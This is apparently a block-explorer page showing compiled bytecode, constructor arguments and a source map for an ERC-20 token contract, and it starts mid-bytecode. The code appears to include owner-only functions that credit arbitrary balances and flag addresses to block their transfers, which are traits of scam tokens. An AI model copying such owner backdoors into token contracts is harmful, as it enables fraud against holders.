60200191505060405180910390a36118eb81600c5461108890919063ffffffff16565b600c819055506119048184611c4c90919063ffffffff16565b91505b61197382604051806060016040528060268152602001611da260269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a0882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000838311158290611b64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b29578082015181840152602081019050611b0e565b50505050905090810190601f168015611b565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b505050565b600080831415611b8f5760009050611bfc565b6000828402905082848281611ba057fe5b0414611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611dc86021913960400191505060405180910390fd5b809150505b92915050565b6000611c4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c96565b905092915050565b6000611c8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab7565b905092915050565b60008083118290611d42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d07578082015181840152602081019050611cec565b50505050905090810190601f168015611d345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611d4e57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f6017a5d15db8715b8cdb30699393c9aafd3315306be7f196d2f8fcd20073b8764736f6c634300070000330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f00000000000000000000000000000000000000000000000000038d7ea4c68000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80638c9e1c6c116100ad578063a9059cbb11610071578063a9059cbb1461058b578063cbc740aa146105ef578063cc1f9bf514610623578063dd62ed3e1461067d578063ff3787aa146106f557610121565b80638c9e1c6c1461041e57806394146a6e1461043c57806395d89b4114610470578063a457c2d7146104f3578063a55626cb1461055757610121565b8063313ce567116100f4578063313ce567146102af578063381184a9146102d0578063395093511461031e578063682d6eb91461038257806370a08231146103c657610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d57806323b872dd1461022b575b600080fd5b61012e610739565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107db565b60405180821515815260200191505060405180910390f35b6102156107f9565b6040518082815260200191505060405180910390f35b6102976004803603606081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610803565b60405180821515815260200191505060405180910390f35b6102b76108dc565b604051808260ff16815260200191505060405180910390f35b61031c600480360360408110156102e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f3565b005b61036a6004803603604081101561033457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a54565b60405180821515815260200191505060405180910390f35b6103c46004803603602081101561039857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b07565b005b610408600480360360208110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2a565b6040518082815260200191505060405180910390f35b610426610c73565b6040518082815260200191505060405180910390f35b610444610c7d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610478610ca7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b857808201518184015260208101905061049d565b50505050905090810190601f1680156104e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61053f6004803603604081101561050957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d49565b60405180821515815260200191505060405180910390f35b61055f610e16565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105d7600480360360408110156105a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e40565b60405180821515815260200191505060405180910390f35b6105f7610e5e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106656004803603602081101561063957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e88565b60405180821515815260200191505060405180910390f35b6106df6004803603604081101561069357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ede565b6040518082815260200191505060405180910390f35b6107376004803603602081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f65565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d15780601f106107a6576101008083540402835291602001916107d1565b820191906000526020600020905b8154815290600101906020018083116107b457829003601f168201915b5050505050905090565b60006107ef6107e8611110565b8484611118565b6001905092915050565b6000600354905090565b600061081084848461130f565b6108d18461081c611110565b6108cc85604051806060016040528060288152602001611de960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610882611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b611118565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6108fb611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610a0d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610afd610a61611110565b84610af88560026000610a72611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b611118565b6001905092915050565b610b0f611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600c54905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3f5780601f10610d1457610100808354040283529160200191610d3f565b820191906000526020600020905b815481529060010190602001808311610d2257829003601f168201915b5050505050905090565b6000610e0c610d56611110565b84610e0785604051806060016040528060258152602001611e836025913960026000610d80611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b611118565b6001905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e54610e4d611110565b848461130f565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6d611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080828401905083811015611106576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611e5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611224576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611d806022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611e3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611d5d6023913960400191505060405180910390fd5b60008111611474576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611e116029913960400191505060405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115155750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561157f5760001515600960149054906101000a900460ff1615151461157e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b61158a838383611b77565b600081905060006115b96103e86115ab600286611b7c90919063ffffffff16565b611c0290919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156116685750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156116c25750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119075761173381604051806060016040528060268152602001611da260269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ea8160016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36118eb81600c5461108890919063ffffffff16565b600c819055506119048184611c4c90919063ffffffff16565b91505b61197382604051806060016040528060268152602001611da260269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a0882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000838311158290611b64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b29578082015181840152602081019050611b0e565b50505050905090810190601f168015611b565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b505050565b600080831415611b8f5760009050611bfc565b6000828402905082848281611ba057fe5b0414611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611dc86021913960400191505060405180910390fd5b809150505b92915050565b6000611c4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c96565b905092915050565b6000611c8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab7565b905092915050565b60008083118290611d42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d07578082015181840152602081019050611cec565b50505050905090810190601f168015611d345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611d4e57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f6017a5d15db8715b8cdb30699393c9aafd3315306be7f196d2f8fcd20073b8764736f6c63430007000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f00000000000000000000000000000000000000000000000000038d7ea4c68000

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [2] : supplyTokens (uint256): 1000000000000000

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [2] : 00000000000000000000000000000000000000000000000000038d7ea4c68000


Deployed Bytecode Sourcemap

11460:3641:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7863:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9256:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8140:100;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8768:321;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8049:83;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8558:198;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9433:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13142:103;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8248:119;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12916:107;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13031:103;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7954:87;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9659:269;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14904:90;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8375:175;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;15006:92;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;13367:109;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9097:151;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13253:106;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7863:83;7900:13;7933:5;7926:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7863:83;:::o;9256:169::-;9339:4;9356:39;9365:12;:10;:12::i;:::-;9379:7;9388:6;9356:8;:39::i;:::-;9413:4;9406:11;;9256:169;;;;:::o;8140:100::-;8193:7;8220:12;;8213:19;;8140:100;:::o;8768:321::-;8874:4;8891:36;8901:6;8909:9;8920:6;8891:9;:36::i;:::-;8938:121;8947:6;8955:12;:10;:12::i;:::-;8969:89;9007:6;8969:89;;;;;;;;;;;;;;;;;:11;:19;8981:6;8969:19;;;;;;;;;;;;;;;:33;8989:12;:10;:12::i;:::-;8969:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;8938:8;:121::i;:::-;9077:4;9070:11;;8768:321;;;;;:::o;8049:83::-;8090:5;8115:9;;;;;;;;;;;8108:16;;8049:83;:::o;8558:198::-;7279:12;:10;:12::i;:::-;7269:22;;:6;;;;;;;;;;:22;;;7261:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8698:50:::1;8731:16;8698:9;:28;8708:17;8698:28;;;;;;;;;;;;;;;;:32;;:50;;;;:::i;:::-;8667:9;:28;8677:17;8667:28;;;;;;;;;;;;;;;:81;;;;8558:198:::0;;:::o;9433:218::-;9521:4;9538:83;9547:12;:10;:12::i;:::-;9561:7;9570:50;9609:10;9570:11;:25;9582:12;:10;:12::i;:::-;9570:25;;;;;;;;;;;;;;;:34;9596:7;9570:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9538:8;:83::i;:::-;9639:4;9632:11;;9433:218;;;;:::o;13142:103::-;7279:12;:10;:12::i;:::-;7269:22;;:6;;;;;;;;;;:22;;;7261:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13233:4:::1;13212:8;:18;13221:8;13212:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;13142:103:::0;:::o;8248:119::-;8314:7;8341:9;:18;8351:7;8341:18;;;;;;;;;;;;;;;;8334:25;;8248:119;;;:::o;12916:107::-;12972:7;12999:16;;12992:23;;12916:107;:::o;13031:103::-;13081:7;13108:18;;;;;;;;;;;13101:25;;13031:103;:::o;7954:87::-;7993:13;8026:7;8019:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7954:87;:::o;9659:269::-;9752:4;9769:129;9778:12;:10;:12::i;:::-;9792:7;9801:96;9840:15;9801:96;;;;;;;;;;;;;;;;;:11;:25;9813:12;:10;:12::i;:::-;9801:25;;;;;;;;;;;;;;;:34;9827:7;9801:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;9769:8;:129::i;:::-;9916:4;9909:11;;9659:269;;;;:::o;14904:90::-;14952:7;14979;;;;;;;;;;;14972:14;;14904:90;:::o;8375:175::-;8461:4;8478:42;8488:12;:10;:12::i;:::-;8502:9;8513:6;8478:9;:42::i;:::-;8538:4;8531:11;;8375:175;;;;:::o;15006:92::-;15055:7;15082:8;;;;;;;;;;;15075:15;;15006:92;:::o;13367:109::-;13426:4;13450:8;:18;13459:8;13450:18;;;;;;;;;;;;;;;;;;;;;;;;;13443:25;;13367:109;;;:::o;9097:151::-;9186:7;9213:11;:18;9225:5;9213:18;;;;;;;;;;;;;;;:27;9232:7;9213:27;;;;;;;;;;;;;;;;9206:34;;9097:151;;;;:::o;13253:106::-;7279:12;:10;:12::i;:::-;7269:22;;:6;;;;;;;;;;:22;;;7261:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13346:5:::1;13325:8;:18;13334:8;13325:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;13253:106:::0;:::o;3068:181::-;3126:7;3146:9;3162:1;3158;:5;3146:17;;3187:1;3182;:6;;3174:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3240:1;3233:8;;;3068:181;;;;:::o;1991:106::-;2044:15;2079:10;2072:17;;1991:106;:::o;10909:346::-;11028:1;11011:19;;:5;:19;;;;11003:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11109:1;11090:21;;:7;:21;;;;11082:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11193:6;11163:11;:18;11175:5;11163:18;;;;;;;;;;;;;;;:27;11182:7;11163:27;;;;;;;;;;;;;;;:36;;;;11231:7;11215:32;;11224:5;11215:32;;;11240:6;11215:32;;;;;;;;;;;;;;;;;;10909:346;;;:::o;13484:1412::-;13609:1;13591:20;;:6;:20;;;;13583:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13693:1;13672:23;;:9;:23;;;;13664:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13763:1;13754:6;:10;13746:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13825:8;:16;13834:6;13825:16;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;13845:8;:19;13854:9;13845:19;;;;;;;;;;;;;;;;;;;;;;;;;13825:39;13821:79;;;13890:5;13874:21;;:12;;;;;;;;;;;:21;;;13866:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13821:79;13911:47;13932:6;13940:9;13951:6;13911:20;:47::i;:::-;13969:18;13990:6;13969:27;;14080:23;14106;14124:4;14106:13;14117:1;14106:6;:10;;:13;;;;:::i;:::-;:17;;:23;;;;:::i;:::-;14080:49;;14174:1;14144:32;;:18;;;;;;;;;;;:32;;;;:59;;;;;14190:13;;;;;;;;;;;14180:23;;:6;:23;;;;14144:59;:89;;;;;14220:13;;;;;;;;;;;14207:26;;:9;:26;;;;14144:89;14140:518;;;14270:80;14292:15;14270:80;;;;;;;;;;;;;;;;;:9;:17;14280:6;14270:17;;;;;;;;;;;;;;;;:21;;:80;;;;;:::i;:::-;14250:9;:17;14260:6;14250:17;;;;;;;;;;;;;;;:100;;;;14397:50;14431:15;14397:9;:29;14407:18;;;;;;;;;;;14397:29;;;;;;;;;;;;;;;;:33;;:50;;;;:::i;:::-;14365:9;:29;14375:18;;;;;;;;;;;14365:29;;;;;;;;;;;;;;;:82;;;;14484:18;;;;;;;;;;;14467:53;;14476:6;14467:53;;;14504:15;14467:53;;;;;;;;;;;;;;;;;;14554:37;14575:15;14554:16;;:20;;:37;;;;:::i;:::-;14535:16;:56;;;;14619:27;14630:15;14619:6;:10;;:27;;;;:::i;:::-;14606:40;;14140:518;14688:75;14710:10;14688:75;;;;;;;;;;;;;;;;;:9;:17;14698:6;14688:17;;;;;;;;;;;;;;;;:21;;:75;;;;;:::i;:::-;14668:9;:17;14678:6;14668:17;;;;;;;;;;;;;;;:95;;;;14797:36;14822:10;14797:9;:20;14807:9;14797:20;;;;;;;;;;;;;;;;:24;;:36;;;;:::i;:::-;14774:9;:20;14784:9;14774:20;;;;;;;;;;;;;;;:59;;;;14866:9;14849:39;;14858:6;14849:39;;;14877:10;14849:39;;;;;;;;;;;;;;;;;;13484:1412;;;;;:::o;3401:190::-;3487:7;3520:1;3515;:6;;3523:12;3507:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3547:9;3563:1;3559;:5;3547:17;;3582:1;3575:8;;;3401:190;;;;;:::o;11361:92::-;;;;:::o;3599:248::-;3657:7;3686:1;3681;:6;3677:47;;;3711:1;3704:8;;;;3677:47;3736:9;3752:1;3748;:5;3736:17;;3781:1;3776;3772;:5;;;;;;:10;3764:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3838:1;3831:8;;;3599:248;;;;;:::o;3855:132::-;3913:7;3940:39;3944:1;3947;3940:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3933:46;;3855:132;;;;:::o;3257:136::-;3315:7;3342:43;3346:1;3349;3342:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;3335:50;;3257:136;;;;:::o;3995:189::-;4081:7;4113:1;4109;:5;4116:12;4101:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4140:9;4156:1;4152;:5;;;;;;4140:17;;4175:1;4168:8;;;3995:189;;;;;:::o

Swarm Source

ipfs://f6017a5d15db8715b8cdb30699393c9aafd3315306be7f196d2f8fcd20073b87
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.